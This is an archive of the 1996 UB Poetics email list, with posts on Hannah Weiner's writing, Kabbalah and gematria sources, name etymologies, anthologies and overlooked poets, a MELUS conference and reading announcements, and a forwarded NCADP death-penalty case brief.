> writing don't seem to me to have much to do with holocaust. A list of
> them would show late sixties tv and political issues, the fast,
> lsd, family, friends, and isolation. Why not take her at her word?

i'm not talking about thematics so much as effect; her writing as an effect of post-holocaust (Jewish) subjectivity. something like that. not trying to ferret out any subtext. still, thanks for the list of identifiable themes.
>
> The interest for me in Hannah's writing has always been her ability to
> weave through inside and out without the usual membranes and transitions.
> For Hannah much of what we call art comes quite easily to her once she
> has put herself in a particular position, which I don't need to characterize.

good point; i like stuff about weaving and membranes.
>
> Also see Maria Damon's essay in the new issue of <<Chain>>: Hannah makes
> a pure play at consciousness by mixing genres. Sometimes she succeeds and
> the reader is pleased.

interesting; what specific genres wd u say she mixes?
>
> James
maria d

↑ Index

400. Carnography
Kaballah, possibly unrelated resources
Tue 27 Aug 1996

---

maria damon typed:

> *sorry guys its me again, going a little crazy:*
> *is there a word for a system of magic or divination based on words or letters,*

> *the way numerology is based on numbers and astrology is based on stars?*
> *Logology? Logomancy? alphabetrics?*
> *bests, maria d*

Magic, alchemy and Kabbalism *are* based on exact formulas of words and numbers or, more specifically, perfectly realized paradoxes and complexities coded in letters and numbers. Blavatsky once said, "God is math," (can't give you title or page number: I find her prose insufferable), and the statement hardly originated with her. *The Book of Numbers*, available in certain magic-related book stores, even gives tables for the translation of words into numbers. There is also ancient trick that is used to reduce the the entire text of the bible (in the original Sanskrit) into a sequence of permutations on a single formula.

My research had to do with the Sephira, Adam Kadmon, and Qliphoth, but perhaps a few of my books will be useful to you.

Sources:

The Saragossa Manuscript (both the film and the novel are brilliant),
 Count Jan Potocki,
On the Kabalah and Its Symbolism, Gershom Scholem
The Book of Numbers (?)
The Golem, Gustav Meyrinck
The Hidden Chakrahs (?)
The Book of Imaginary Beings Borges, of course)
_Dictionary of the Kabalah
The Astral World, Panchadasi

Books with question marks were read or copied at the library. This was a novella ("Val Demar's Pear," to be published by Permeable Press in November) rather than a paper, so I didn't keep meticulous footnotes.

§§§

401. **Carnography**
Re: Kaballah, possibly unrelated resources
Tue 27 Aug 1996

Joseph Zitt typed:

> *Sanksrit?! Which bible?*

Someone was listening: This was part of the explanation as given to me by a Blavatsky disciple. She (the disciple) maintained that the Hebrew text of the bible came from a Sanskrit text, which was said to be the origin of the permutated sequence she showed me. Some people who study the occult, a few of whom I've met, maintain that (and please don't kill the messenger) Kabbalism is a variant of Eastern mysticism. No authoritative text that I've read verifies this--but I have seen the bible-code idea referred to in _On the Kaballah and Its Symbolism_, by Gershom Scholem.

But really, I'm not interested in getting into a discussion for the next month or so. I haven't time. I was just trying to be helpful.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

↑ Index

402. **- Kim Tedrow**
Hannah/Anna
Tue 27 Aug 1996

Hi Maria,

I don't know if Hannah and Anna are the same word in Hebrew, but "Anna" is from the Hebrew word meaning "Grace" (I remember reading this in a standard dictionary, it may have been the Random House Unabridged).

Kim

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403. **maria damon**
Re: Kaballah, possibly unrelated resources
Tue 27 Aug 1996

---

once again, thanks to all who've helped...off to sf now so will be incommunicada for a wk, then, kablammo! i'll be back, signed, hannah akhmatfillin...

In message <v01540b13ae487cfffe1e@[204.74.3.74]> UB Poetics discussion group
writes:
> Joseph Zitt typed:
>
> > Sanksrit?! Which bible?
>
> Someone was listening: This was part of the explanation as
> given to me by a Blavatsky disciple. She (the disciple) maintained
> that the Hebrew text of the bible came from a Sanskrit text, which
> was said to be the origin of the permutated sequence she showed me.
> Some people who study the occult, a few of whom I've met, maintain that
> (and please don't kill the messenger) Kabbalism is a variant of Eastern
> mysticism. No authoritative text that I've read verifies this--but
> I have seen the bible-code idea referred to in _On the Kaballah and
> Its Symbolism_, by Gershom Scholem.
>
> But really, I'm not interested in getting into a discussion for the next
> month or so. I haven't time. I was just trying to be helpful.
>
> All the best,
>
> Rob Hardin
>
> http://www.interport.net/~scrypt

↑ Index

404. Burt Kimmelman
Re: Berkeley 1965
Tue 27 Aug 1996

Jerry,

Great idea. I have to be in touch with Brad soon anyway, and will follow up.

Burt

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405. Ira Lightman
Robert Sward etc missed by UTOPIAN FORMALIST round-ups
Tue 27 Aug 1996

Does anybody on the list have any interest in
Robert Sward? Born in the USA, lived and wrote

(don't know if [redacted] still alive) in Canada,
selected poems 1957-1991, to give idea of
times he was writing, now out of print tho
full text available from a website. I've always
been privately very interested
in his work, came across it by luck when the
reference book, Contemporary Poets, fell open on
his entry when I picked it up idly once. He
rarely got into or gets into Books of Canadian
Verse etc anthologies, as USA born I suppose;
I got interested in him while living in New
Zealand, when I was "coincidentally" looking at
the issue of: Where Do You Get Noticed If You're
Not Part of a Movement (LangPo, New Formalism etc),
Not the big Mainstream Name, and, above all in New
Zealand, if You're Not Your Country's Nationality.

Have more perhaps heard of Daphne Marlatt? Far and
away my favourite Canadian writer, got into no
Canadian anthologies; as she was born outside
Canada; and I've often wondered if she only started
to get in because her work in the eighties
started to feel representative of a "minority
group", as a gay writer, as a feminist writer,
not just because she's a really good writer.

Anyone like Alan Riach? A Scot living in New
Zealand, also rarely gets put in Scottish
roundups or New Zealand roundups, but I think
his work is fabulous.

Shouldn't there be an anthology of the people
who don't usually get into anthologies?
The Poetry for the Millenium book just missed
all these emigres I'm mentioning -or others, like
David Miller, an Australian living in England.
And isn't it the case that ex-Brits Steve MacCaffery
and David Bromige are harder to put into
LangPo anthologies? Is it because those anthologies
are really American LangPo Anthologies, in
order to create a pure essence of LangPo utopia,
connected to the long tradition of Americans-
writing-up-their-enthusiasms-as-UTOPIAN-FORMALISM
-------- rather than experimental-practice-

most-successful-and-appreciated-in-American-
experimentalism-consuming-practices (of which
there are nearly none in Britain and New
Zealand, in my experience, where it's still
poets in-joking to other poets, to the frustration
of a lot of great UK and NZ experimentalists!,
rather than artistic stimulation of consciousness
enjoyed by an active audience of other artists
and thinkers) ---------- rather than *actually*
look at how different
poets in english-speaking cultures with
different speech-writing relations
have foregrounded their relations
and the role of language with them?

Would anyone on the list nominate their
inclusions for such a book, or feelings
on this subject?

Best

Ira Lightman

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406. Cynthia Franklin
Intl.MELUS Conf.
Tue 27 Aug 1996

First International and Eleventh National MELUS Conference
Multi-Ethnic Literatures Across the Americas and the Pacific:
    Exchanges, Contestations, and Alliances
Honolulu, Hawai'i
April 18-20, 1997

The following information is also available at the conference website:
http://www.lll.hawaii.edu/web/conference/melus97

Keynote Speakers

Linda Hogan A Chickasaw originally from Oklahoma, Linda Hogan is currently Associate Professor in the English Department of the University of Colorado where she teaches creative writing. The recipient of several major grants, Hogan is a prolific poet, essayist, playwright, and novelist. She is the author of four volumes of poetry: Calling Myself Home (1978), Daughters, I Love You

(1981), Eclipse (1983), Seeing through the Sun, which won a Before Columbus Foundation American Book Award, and of the acclaimed novel Mean Spirit (1990). Her essay collections on women and and Native American cultures include Stories We Hold Secret: Tales of Women's Spiritual Development (1986) and Dwellings: a Spiritual History of the Living World (1995), and she has recently collaborated on a non-fiction collection with her father, entitled That Horse .

Haunani-Kay Trask Director of the Center for Hawaiian Studies, Professor of Hawaiian Studies at the University of Hawai'i at Manoa, and member of Ka Lahui Hawai'i, Dr. Trask is a versatile poet, scholar, teacher, public lecturer, and activist for Native Hawaiian rights. Trask is the author of Eros Power: the Promise of Feminist Theory, as well as two works on colonialism, Fighting the Battle of Double Colonization and From a Native Daughter: Colonialism and Sovereignty in Hawai'i (1993), and the poetry collection Light in the Crevice Never Seen (1994). Her essays and poems have been widely anthologized.

Albert Wendt As a writer, teacher, and editor, Albert Wendt has played a pivotal role in promoting cultural production in the Pacific. Born in Western Samoa, Wendt is the author of six novels (several of which have been made into feature films), two short story collections, two poetry collections, and major essays on Pacific literature (including "Toward a New Oceania"). He is the editor and introducer of the groundbreaking Lali: A Pacific Anthology (1990) and a follow-up anthology, Nuanua: Pacific Writing in English since 1980 as well. Wendt is currently Professor of English at the University of Auckland, having previously taught in Fiji and Samoa. Leaves of the Banyan Tree, Wendt's epic third novel, won the New Zealand Wattie Book of the Year Award, and is considered a classic of Pacific literature. Other works include the novels Sons for the Return Home, Flying-Fox in a Freedom Tree, Pouliuli, Black Rainbow, and Ola .

Accommodations

The majority of conference activities (including banquet and sessions on April 19 and 20) will be held at the Ala Moana Hotel. Accommodations at special conference rates will be available at the Ala Moana Hotel, 410 Atkinson Drive, Honolulu, adjacent to the Ala Moana Shopping Center and the Ala Moana Beach Park. The hotel is centrally located, ten minutes away from the more touristy areas of Waikiki and close to historic downtown Honolulu and Iolani Palace. Special rates for the conference are as follows:

Kona Tower--city view
$80 for single occupancy
$80 for double occupancy
Waikiki Tower--city view
$92 for single occupancy

$92 for double occupancy
$112 for triple occupancy

Rooms are subject to Hawai'i' s state excise tax of 4.17% and hotel room tax of 6.0% (rates are subject to change). Hotel rates in downtown Honolulu/Waikiki are generally very costly, and we highly recommend the quality and convenience of the accommodations at the Ala Moana Hotel, which is offering conference participants these excellent rates. Airport shuttles service the hotel.

As the conference will consist of 3 full days beginning April 18, 1997, we suggest that participants check-in by April 17. Reservations should be made by March 17, 1997. Room requests after this date will be confirmed based on space availability, and if available will be extended at the conference rate. Room extensions of three nights prior and three nights after the conference dates of April 18-20, 1997 will be honored at the conference rate. For reservations, call [redacted].

Transportation

United Airlines has agreed to provide discounted airfares to all conference attendees traveling to Honolulu from the United States and Canada. Reservations and schedule information may be obtained by calling the United Meetings Desk at [redacted] and referencing the ID Code 507SA. Meeting Desk hours are Monday thru Sunday, 7am to 12 midnight (EST).

Registration

Please print out this form, complete it, and mail it with your check payable to "East West Center" to:

MELUS Conference
English Department
1733 Donaghho Road
University of Hawai'i
Honolulu, HI 96822

DEADLINE for registration is January 15, 1997.

Last Name:
First Name:
University/Institutional Affiliation:
Address:
City:
State/Country:
Postal Code:
Daytime Phone:

Fax:
E-mail:

Non-Students $75
Students $50

Conference registration fee is non-refundable. Registration fee includes a banquet and two luncheons.

Please make checks payable to East West Center

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407. James Sherry
4 U.K. Writers Read at Segue Performance Space
Tue 27 Aug 1996

THE SEGUE PERFORMANCE SPACE @ 303 East 8th Street (Betw Aves. B&C)
New York, New York [redacted]

is proud to announce that 4 renouned writers from the U.K. will read at our lovely loft on TUESDAY, SEPTEMBER 3 at 8:00 p.m. sharp, following the Poetics Conference in New Hampshire over Labor Day Weekend.

These being:

Richard Makin
Caroline Bergzall
Geoff Ward
&
Miles Champion

Suggested contribution for this exciting kickoff to the Fall reading season is a mere $4.00.

This event is curated by Andrew Levy, Fiona Templeton & Dan Machlin. Please contact Dan at The Segue Foundation [redacted] with any questions. Not to be missed!

when gregor samsara slept one night escaping troubled wakedreams he found himself transformed in his debt into a monstrous writer: Lingua Frankeinsteiner, the moonstra upturned, vicous rolling n rocking, entrapped in a hard shelly shock pad carapax of stone from which swindled unredoubtable logs off puce, coulee slathering hire and high the stari night acrospheres

- Richard Makin (from FORWORD)

↑ Index

408. **Ian Wilson**
Re: Intl.MELUS Conf.
Tue 27 Aug 1996

Hawaii or Mexico?

_____ Reply Separator _____
Subject: Intl.MELUS Conf. Author: UB Poetics discussion group <[redacted]> at Internet Date: 8/27/96 8:15 AM

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Multi-Ethnic Literatures Across the Americas and the Pacific:
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Wendt is the author of six novels (several of which have been made into feature films), two short story collections, two poetry collections, and major essays on Pacific literature (including "Toward a New Oceania"). He is the editor and introducer of the groundbreaking Lali: A Pacific Anthology (1990) and a follow-up anthology, Nuanua: Pacific Writing in English since 1980 as well. Wendt is currently Professor of English at the University of Auckland, having previously taught in Fiji and Samoa. Leaves of the Banyan Tree, Wendt's epic third novel, won the New Zealand Wattie Book of the Year Award, and is considered a classic of Pacific literature. Other works include the novels Sons for the Return Home, Flying-Fox in a Freedom Tree, Pouliuli, Black Rainbow, and Ola .

Accommodations

The majority of conference activities (including banquet and sessions on April 19 and 20) will be held at the Ala Moana Hotel. Accommodations at special conference rates will be available at the Ala Moana Hotel, 410 Atkinson Drive, Honolulu, adjacent to the Ala Moana Shopping Center and the Ala Moana Beach Park. The hotel is centrally located, ten minutes away from the more touristy areas of Waikiki and close to historic downtown Honolulu and Iolani Palace. Special rates for the conference are as follows:

Kona Tower--city view
$80 for single occupancy
$80 for double occupancy
Waikiki Tower--city view
$92 for single occupancy
$92 for double occupancy
$112 for triple occupancy

Rooms are subject to Hawai'i' s state excise tax of 4.17% and hotel room tax of 6.0% (rates are subject to change). Hotel rates in downtown Honolulu/Waikiki are generally very costly, and we highly recommend the quality and convenience of the accommodations at the Ala Moana Hotel, which is offering conference participants these excellent rates. Airport shuttles service the hotel.

As the conference will consist of 3 full days beginning April 18, 1997, we suggest that participants check-in by April 17. Reservations should be made by March 17, 1997. Room requests after this date will be confirmed based on space availability, and if available will be extended at the conference rate. Room extensions of three nights prior and three nights after the conference dates of April 18-20, 1997 will be honored at the conference rate. For reservations, call [redacted].

Transportation

United Airlines has agreed to provide discounted airfares to all conference attendees traveling to Honolulu from the United States and Canada. Reservations and schedule information may be obtained by calling the United Meetings Desk at [redacted] and referencing the ID Code 507SA. Meeting Desk hours are Monday thru Sunday, 7am to 12 midnight (EST).

Registration

Please print out this form, complete it, and mail it with your check payable to "East West Center" to:

MELUS Conference
English Department
1733 Donaghho Road
University of Hawai'i
Honolulu, HI 96822

DEADLINE for registration is January 15, 1997.

Last Name:
First Name:
University/Institutional Affiliation:
Address:
City:
State/Country:
Postal Code:
Daytime Phone:
Fax:
E-mail:

Non-Students $75
Students $50

Conference registration fee is non-refundable. Registration fee includes a banquet and two luncheons.

Please make checks payable to East West Center

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409. **Julia Stein**
Re: POETICS Digest - 25 Aug 1996 to 26 Aug 1996
Tue 27 Aug 1996

>

>Maria Damon asks,
>another one for you geniuses (this is really useful): what does "Hannah" mean

>in
>hebrew? i'm embarrassed to say i don't know. hanni i know means happy in
>arabic, so maybe its the same thing?
>md
>
>----------

I once read that "Hannah" is an acronym for the three traditional tasks of Orthodox Jewish women: lighting Shabbas candles for the Sabbath; going to mikva or the ritual baths in order to keep the laws of ritual purity; and making hallah or white bread. Sorry, but I don't remember the citation.

I was named after my grandmother whose original name was Hannah. After she moved to this country, she anglicized it to "Anne." I used the above information in a poem I wrote about my name once called "The Songs of Two sisters, Hannah and Galia." I also was named after my great-aunt whose name was originally Galia & that got anglicized to "Julia."

Julie

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410. Rachel Loden

Re: Robert Sward etc missed by UTOPIAN FORMALIST round-ups

Tue 27 Aug 1996

Ira, Sward's very much alive, and (according to catalogue) teaches at UC Santa Cruz extension.

Rachel

Ira Lightman wrote:
>
> Does anybody on the list have any interest in
> Robert Sward? Born in the USA, lived and wrote
> (don't know if [redacted] still alive)

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411. Gabrielle Welford

NCADP CASE BRIEF: South African Youngster Facing Death Row in Mississippi (fwd)

Tue 27 Aug 1996

This one shouldn't down your e-mail! gab.

---------- Forwarded message ---------- Note: Thank you to every one who requested more information on Azi's case. We regret not being able to respond to each

individual query. However, we trust this case brief will shed a brighter light on Azi's life, the events leading up to his arrest, and the need for concerned people to become involved in stopping this grave injustice.

If you would like additional information, to find out how you can become involved in Azi's case or make a donation to Azi's defense fund please contact our offices at:

National Coalition to Abolish the Death Penalty
918 "F" Street, NW Suite 601
Washington, DC 20004
[redacted], ext.5
[redacted]

---Steven Hawkins
NCADP Executive Director

NCADP CASE BRIEF:

Azi Kambule: A South African 10th Grader Facing the Death Penalty in Mississippi

Azi's Background:

Azikiwe Kambule was born and raised in the black township of Soweto, directly outside of Johannesburg in South Africa. When Azi was 10-years-old, his parents moved to Spruitview, where he attended the Ridge School. Initially, school officials were concerned with Azi's admittance because he, like many children in Soweto, had missed many days of formal instruction on account of school boycotts in protest of Apartheid. These concerns were quickly alleviated. Azi not only performed NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE-- well in his classes, but found the time to participate actively in sports and sing in the school choir. After matriculating at the Ridge School, Azi attended Parktown Boys and was an exceptional student there as well.

In January of 1994, when he was 15-years-old, Azi moved with his parents to Jackson, Mississippi. They came to the United States because Azi's mother, Busisiwe, hacholarship to obtain a Bachelor's degree at Jackson State University in Psychology. Azi's father, Michael, joined the family a year later. Unable to find employment before his visitor's visa expired, Mike returned to South Africa a year later determined to find a job that would enable him to hire proper counsel for his son.

Although Azi had done well in the rigorous educational program at the Ridge School and Parktown Boys, the school authorities in Mississippi nevertheless required him to be held back. Azi was placed in 8th grade at the Chastain

Middle School in NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE-- Jackson. Far from being educationally deficient, Azi was accepted into the honors French class.

In 1995, Azi began 9th grade at Jackson's Murrah High School. He performed well in his classes during his freshman year and enjoyed singing in the school choir. While Azi had no difficulty adjusting academically, there were social problems. Because of his foreign accent and mannerisms, his peers would make fun of him. These social pressures mounted by the time Azi reached the 10th grade. Wanting to be accepted, Azi befriended a group of older youth who spent little time in class but NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE-- were very street-wise. When his grades began to fall, Azi's parents decided to scrape together the funds to send him to Piney Woods, a well-respected boarding school for black youth outside of Jackson. Azi was set to begin at this new school when tragedy struck.

Events Leading to Azi's Arrest:

On January 25, 1996, Azi was riding in a car driven by Santonio Berry, a man in his early twenties with a history of criminal behavior.

According to Azi's statement to the police, Berry saw Pam McGill drive by in a red sports car and stated that he wanted the vehicle. Berry drove behind Ms. McGill, and when she pulled into her apartment building's parking lot, he got our of his car with a gun. Berry forced Ms. McGill to move into the passenger seat of her vehicle and told NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE- Azi to get in the back. Berry then drove from Jackson into neighboring Madison County. He stopped the car, instructed Ms. McGill to come with him and told Azi to stay in the car. Berry took Ms. McGill deep in to the woods. Azi could not see or hear them. He also could not leave because he did not know how to drive the car. Eventually, Berry returned saying that he had shot Ms. McGill.

Azi was arrested approximately one week later when an informant notified police that Berry had been trying to sell Ms. McGill's car. From the moment of his arrest, Azi was cooperative. He took the police out several times to where he thought Berry had stopped McGill's car. Azi -- a child from a foreign county with no drivers license, no car, and no knowledge of the area beyond Jackson -- was unable to pinpoint NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE- the location. Eventually, some two months later, Berry took the police to the crime scene.

It was only then that authorities were able to verify that Ms. McGill had been killed. Azi was then charged as an accomplice to capital murder. This despite the fact that he had no criminal history; was not at the crime scene; and had cooperated fully with the authorities.

Madison County and The Impossibility of a Fair Trial:

The Hinds County prosecutor, Ed Peters, purposely moved Azi's trial to Madison County to increase the chance of a death sentence. As reported in the local NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE- paper, Peters stated that he was moving the trial because the "jurors in [predominantly black] Hinds County have a reputation for refusing to vote for the death penalty."

Madison County has become a refuge community for white police and civil servants seeking to create a racially exclusive environment. Middle-class families in Madison tend to live in private communities where entry is limited and private security companies often share the beat with local police. In the towns where there is some Black presence-- such as Canton, the county seat -- public schools are almost devoid of white pupils. White children in these areas are routinely sent to low-cost private NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE- Christian academies to thwart efforts at school desegregation.

Nor surprisingly, Madison County is the setting for John Grisham's A Time To Kill. Like neighboring Simpson County -- made famous in the late 1980s and early 1990s by the frequency with which young black inmates were found hanging by their belts and shoelaces -- law enforcement in Madison County has historically been racially biased.

In 1995, for example, amid wide-spread accusations of voter fraud and intimidation, federal agents had to be brought in to relieve the Sheriff's department of their election monitoring duties. The Black candidate for mayor of Canton had been expected to win and become the first African American to hold the post since Reconstruction. Under federal supervision, a new election was held. Shortly thereafter, Canton inaugurated its first Black mayor in over a century.

Earlier, in 1971, the Mississippi Supreme Court documented clear instances NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE- in which Madison County officials had systematically excluded Blacks from jury rolls -- decades after the United States Supreme Court declared the practice unconstitutional. Civil rights groups and defense attorneys say that prosecutors in counties like Madison still routinely remove Blacks from juries in capital trials.

The Criminal Justice System in Mississippi:

Why is Azi-- a child with no criminal record (or history of violence), an honor student and someone who cooperated fully with the police-- being tried for capital murder? The answer lies in the political rewards of seeking the death penalty.

It is not uncommon for prosecutors to use high profile cases to propel NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE- themselves into higher office. Madison County District Attorney John Kitchens sees his political future as being intimately linked with his ability to get harsh sentences in well publicized cases. This view pervades Mississippi politics.

Mississippi Governor has stated unequivocally that he intends to make Mississippi "the capital of capital punishment." For Fordice, the future of law enforcement and social control lies rooted in the past. Fordice has removed radios and televisions from prisons and reintroduced "zebra suits" as inmate uniforms. He also supported legislation that would have required violent criminals to receive six months of mandatory flogging upon entry into the state penitentiary. After Fordice's changes were NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE- implemented, the state penitentiary system experienced its biggest inmate riots in years.

Seeking the death penalty against Black youth under circumstances like Azi's which do not warrant such extreme punishment is not rare in Mississippi. In the late 1980s a Black teenage mother, Sabrina Butler, was sentenced to death for allegedly bludgeoning her baby. Sabrina's claim that she had given failed CPR to her baby was not only ignored, but used to argue that she had no shame. Only when private attorneys and medical experts intervened was it determined that Sabrina was telling the truth. After spending years fighting to clear her name and facing execution, Sabrina NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE- was found innocent and released. She left Mississippi's death row this year.

Children on Death Row in the U.S.: A Human Rights Violation and Racially Biased:

The situation in which Azi finds himself speaks volumes about the use of the death penalty against children. During this decade, only five nations in the world are known to have executed persons for crimes they committed when under 18-years-old. Those countries are Iran, Pakistan, Yemen, Saudi Arabia . . . and the United States. Of these five, America has executed the most. A condemned child in the United States also tends to be of darker hue -- 66% of those persons sentenced to death as children have been from racial minorities. In this century, 75% of all persons sentenced to death as children have been African American. Of the nine girls sentenced to death NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE- in the history of the United States, eight were African American and one was Native American. Given these racially biased statistics, it is not surprising that Azi has been chosen for the death penalty.

And nowhere is the international rule of law more clear than the prohibition on the use of the death penalty against children. Nearly every major human rights treaty in the world expressly forbids sentencing children to death. Significantly, the United Nations Covenant on Rights of the Child, which the US has signed, clearly states: "Neither capital punishment nor life imprisonment without possibility of parole shall be imposed for offenses committed by persons below eighteen years of age" If the Madison County prosecutor is successful in his attempt to convict Azi as an NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE- accomplice to capital murder, either of the possible sentences will violate international human rights standards.

Denied Bail, Azi Tries to Better Himself and Avoid Danger:

Although Azi had no history of violence or arrest, he was denied bail. He is currently being housed in the Madison County Jail. Since incarceration, Azi has continued his studies, having passed with high marks the initial tests for a general equivalency high school diploma. Azi has also received a letter of commendation from a correspondence Bible school. While trying to make the best of his terrible situation, Azi is also in great danger. As noted earlier, the Mississippi jail system has a history of Black teens being found dead in their cells. The occurrence has been so prevalent that NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE- the United States Department of Justice conducted a full-scale investigation just a few years ago.

Azi is in particular danger because he has been assigned to share a cell with a person who has already been convicted of a crime. It is against the law to keep pre-trial detainees like Azi in the same cell with persons who have already been found guilty. Azi's cellmate continuously harasses Azi and threatens to do bodily harm to him. Azi has also been denied access to a spiritual adviser. His minister was suddenly denied access to visit with Azi; this is the first time in all his years of visiting persons in jail has the minister ever been stopped from going inside. Additionally, Azi has been NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE BRIEF--NCADP CASE- denied proper access to a telephone. The phone has been broken for several weeks, making it impossible for him to call his mother.

END OF BRIEF--NCADP--END OF BRIEF--NCADP--END OF BRIEF---NCADP--END

4 THINGS YOU CAN DO RIGHT NOW TO HELP SAVE AZI:

1) FORWARD THIS MESSAGE TO ALL OF YOUR FRIENDS AND PRESS CONTACTS

2) WRITE THE D.A.: ---Azi is a South African child who has no history of violence or prior run-ins with the law; was so far away from the murder that he

did not even hear the gun shots; and has fully cooperated with the police. There is no reason why DA Kitchens should be seeking to kill him or put him behind bars for the rest of his life! -----JOHN KITCHENS, ESQ. / MADISON COUNTY DISTRICT ATTORNEY/P.O. BOX 121/ CANTON, MS 39046/
[redacted]-fax /[redacted]-phone.

3)MAKE YOUR VOICE HEARD:
Please contact the following news organizations:
--Clarion-Ledger Newspaper:
"Mississippi's Newspaper"
[redacted]

--WLBT T.V. News
[redacted]

--Jackson Advocate Newspaper:
"The Voice of Black Mississippians"
300 N.Farish Street
Jackson,MS 39202
[redacted]--fax

4) Contact the NCADP to join the campaign.

--Inquiries and conrtributions should be directed to:
National Coalition to Abolish the Death Penalty
918 "F" Street, NW Suite 601
Washington, DC 20004
[redacted], ext.5
[redacted]

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412. Peter Quartermain
AA in NH
Wed 28 Aug 1996

Assembling Alternatives is not a prospect for most of us, at least this far out of the New Hampshire core of things, and I for one would be grateful indeed for any reports, on fashion or no (Kevin, you'll be missed!), that EVERYONE there, surely (beg! Beg! cajole!), should send to the rest of us, please. I'm really sorry not to be going, and am thus in desperate need of a fix. Have a good time, all. It should be quite a shindig.

Peter
+ +
Peter Quartermain
128 East 23rd Avenue

Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]

+ +

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413. **Tom Mandel**
Gematria
Wed 28 Aug 1996

"a system of magic or divination based on words or letters,"

The term you are looking for, Maria, is Gematria. Doesn't Jerry Rothenberg have a large book based on Gematria?

It's not really a matter of divination or magic, by the way, as Kabbalah is also not really a matter of "the occult" (too much TV being watched by someone?) as someone referred to it.

Gematria is a mystical practice of the determination of meaning and the creation of meaning.

The word Kabbalah means, essentially, "tradition"

Scholem has an excellent introduction, smply called "Kabbalah", which is a compilation of his articles on K-related topics for a Jewish encyclopedia. It includes an essay on Gematria. His book "On the Kabbalah and its Symbolism," referred to elsewhere in this thread is one of the most extraordinary books I've ever read. For those looking for a long summer read (this is a little late of course), Scholem's _Sabbatai Sevi, The False Messiah_ will help one think for a decade or so. I could go on, but the simple way to put it is that anything by him is worth reading.

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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414. **Gwyn McVay**
Re: Gematria
Wed 28 Aug 1996

Hey Tom,

/APR/ responded positively to my query about a review of PROSPECT OF RELEASE, and now I have to write the damn thing. Did Charles write a press release or any other PR blah blah about the book? Is there anything I should know, or any angle to take, that isn't obvious from the author's note? I want to make this a killer review so we can get PROSPECT some good ink.

Gwyn McVay

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415. Wendy Battin
Re: Robert Sward etc missed by UTOPIAN FORMALIST round-ups
Wed 28 Aug 1996

Ira,
You can find several of Sward's books on-line in the Contemporary American Poetry Archive:
http://shain.lib.conncoll.edu/CAPA/capa.html

His homepage:
http://www.cruzio.com/~scva/rsward.html

Wendy

Wendy Battin [redacted]

(home) http://camel.conncoll.edu/ccother/wjbat/
(CAPA) http://shain.lib.conncoll.edu/CAPA/capa.html

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416. Gwyn McVay
Swear word here!
Wed 28 Aug 1996

---

big oops--private message went to the list again--at least it wasn't the one about *my* intrigue with Rachel L. while Pierre took pictures--

Gwyn, tres embarrassed

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417. Hank Lazer
Re: mandel / release
Wed 28 Aug 1996

Gwyn--

Embarrassed or not, I'm glad to hear that APR is interested. I just sent Tom a letter of gratitude for PROSPECT OF RELEASE (just released from Chax). Tom's book, which I had read in manuscript a few years ago, is extraordinary. Charles A did a beautiful design job, and the cover design too is wonderful.

From my perspective, Tom's book does so many things that hostile critics of "experimental" poetries say can't be found in such poetries. First, is the emotional intensity (which Ron Silliman claims on the book jacket of PROSPECT, and which Ron already e-mailed to Poetics). In my opinion, Ron's claims ("these are the most intensely felt poems I have ever read") are not hyperbolic. Second, Tom's work is attached to a significant, recognizable, and personal event: the death of his father. Third, he risks moments of didacticism and directness of statement. Fourth, there is a substantial and serious engagement with issues that might be called religious (Jewish), metaphysical, and spiritual.

I do not know Celan's poetry very well, so I suspect that I miss certain resonances in Tom's book. Tom's series of fifty sonnets strike me as most like Rilke's _Sonnets to Orpheus_--a similarly grave engagement with death. As someone whose own father died this past winter, I found myself moved by Tom's book into reflection and into new writing. I hope that others on the List might take a look at Tom's book, which ends:

One whom I thought abandoned me returned.

Another I asked to stay must leave.
From you I learn better and now know why
each mind must bend, but only to its task,
soul dancing at the prospect of release.

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418. Carnography
Re: Gematria
Wed 28 Aug 1996

Tom Mandel:

> "*a system of magic or divination based on words or letters,*"
>
> *It's not really a matter of divination or magic, by the way, as Kabbalah is also not really a matter of "the occult" (too much TV being watched by someone?) as someone referred to it.*

Actually, no one said that Kaballah was a "matter of the occult." This is what I said:

> *Some people who study the occult, a few of whom I've met, maintain that (and please don't kill the messenger) Kabbalism is a variant of Eastern mysticism. No authoritative text that I've read verifies this--but*

> *I have seen the bible-code idea referred to in _On the Kaballah and Its Symbolism_, by Gershom Scholem.*

Thus, what was referred to was an interpretation of Kabbalism, not Kabalism itself.

BTW: Since the Kaballah itself was not referred to as "the occult," and since I gave other sources for my information, it is misleading to refer to my research as "too much TV-watching." Moreover, your characterization of occult practitioners--people who study Blavatsky, Crowley, etc--as TV phantoms might just as easily be dismissed as the result of "too much TV-watching"--if I were inclined to make ad hominem accusations.

Much so-called white magic is based on eclectic interpretations of Kabbalism. Various texts,some of which I've cited here, involve such interpretations, (see Blavatsky's _Treatise on White Magic_, if you can stand it--I can't), as do taped lectures from the Theosophical Society's Lodge, for example. I have known people who practiced magic since I was twelve (Novelist John Shirley being the first). Is it fair to presume that the ideas you question come from television rather than from familiarity with religious sects and practitioners whose principles you find dubious?

Listening to the OTO (and other popular magic sects) interpret Kabbalism is a bit like enduring a heavy metal version of Vivaldi. Still, certain popular magic practices are relevant to this conversation, which was originally about magic rather than Hebrew mysticism a la carte.

